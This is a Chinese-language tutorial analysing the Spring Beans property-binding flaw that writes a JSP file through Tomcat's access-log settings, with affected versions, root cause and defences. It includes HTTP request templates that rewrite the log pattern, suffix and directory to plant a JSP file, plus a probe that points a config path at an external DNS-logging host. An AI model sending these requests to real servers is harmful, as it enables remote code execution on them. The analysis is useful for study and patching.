从JDK内省机制&Spring属性注入浅析Spring-beans变量覆盖问题
字数 1257 2025-08-29 08:32:24
Spring Beans 变量覆盖漏洞分析与利用教学文档
漏洞概述
该漏洞本质是变量覆盖漏洞,利用Spring框架的属性注入机制修改Tomcat配置,通过修改日志位置和格式实现恶意JSP文件写入。这是CVE-2010-1622的绕过版本。
影响范围
- Spring Beans 5.3.0 ~ 5.3.17
- Spring Beans 5.2.0 ~ 5.2.19
- JDK 9+
- 使用参数绑定且参数为非基础数据类型的Apache Tomcat
核心机制分析
JDK内省机制
JavaBean规范
- 所有属性为private
- 提供默认无参构造方法
- 提供setter/getter方法
- 方法命名规则:去掉set/get前缀后剩余部分为属性名
内省API
// 获取Bean信息
BeanInfo beanInfo = Introspector.getBeanInfo(Class<?> beanClass);
// 获取属性描述器
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
关键特性
- 会继承Object类的getClass()方法,导致出现"class"属性
- 即使没有对应字段,只要有getter方法就会识别为属性
Spring属性注入
参数绑定类型
- 基本类型/包装类型
- 对象类型(支持多层级)
- 数组类型
- 集合类型(List/Map需要特殊处理)
嵌套属性注入
beanWrapper.setAutoGrowNestedPaths(true);
beanWrapper.setPropertyValue("director.name", "director");
beanWrapper.setPropertyValue("employees[0].name", "t4r");
关键类
- BeanWrapperImpl:提供JavaBean内省功能
- AbstractNestablePropertyAccessor:处理嵌套属性注入
- PropertyHandler:封装PropertyDescriptor,提供底层操作
漏洞原理分析
利用链构造
class.module.classLoader.resources.context.parent.pipeline.first.pattern
- 通过class属性访问Object.getClass()
- JDK9+通过Module访问ClassLoader
- 最终操作Tomcat的AccessLogValve
关键绕过点
- 传统
class.classLoader被拦截 - JDK9+新增
module中间层:Class.getModule().getClassLoader()
漏洞复现
环境搭建
- Spring MVC项目配置
- 添加spring-beans 5.3.17依赖
- 创建接受对象的Controller
利用步骤
-
构造恶意请求修改Tomcat日志配置:
POST /hello HTTP/1.1 Host: localhost:8082 Content-Type: application/x-www-form-urlencoded class.module.classLoader.resources.context.parent.pipeline.first.pattern=恶意JSP代码 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=web目录 -
日志配置参数说明:
pattern:日志内容格式(可插入JSP代码)suffix:日志文件后缀(设为.jsp)directory:日志存放目录(设为web目录)prefix:日志文件名前缀fileDateFormat:禁用日期后缀
-
使用
%{prefix}i和%{suffix}i引用请求头构造完整JSP
检测方法
POST /hello HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.configFile=http://dnslog.cn
漏洞防御
- 升级Spring Beans到安全版本
- 限制参数绑定类型
- 过滤特殊属性名(如class.*)
- 使用
@InitBinder限制绑定范围
技术要点总结
- 内省机制:JavaBean属性推断方式导致class属性暴露
- 嵌套注入:Spring对嵌套属性的递归处理
- JDK9特性:module层绕过classLoader限制
- Tomcat日志:通过AccessLogValve实现文件写入
参考链接
- CVE-2010-1622分析
- Spring官方安全公告
- Tomcat AccessLogValve文档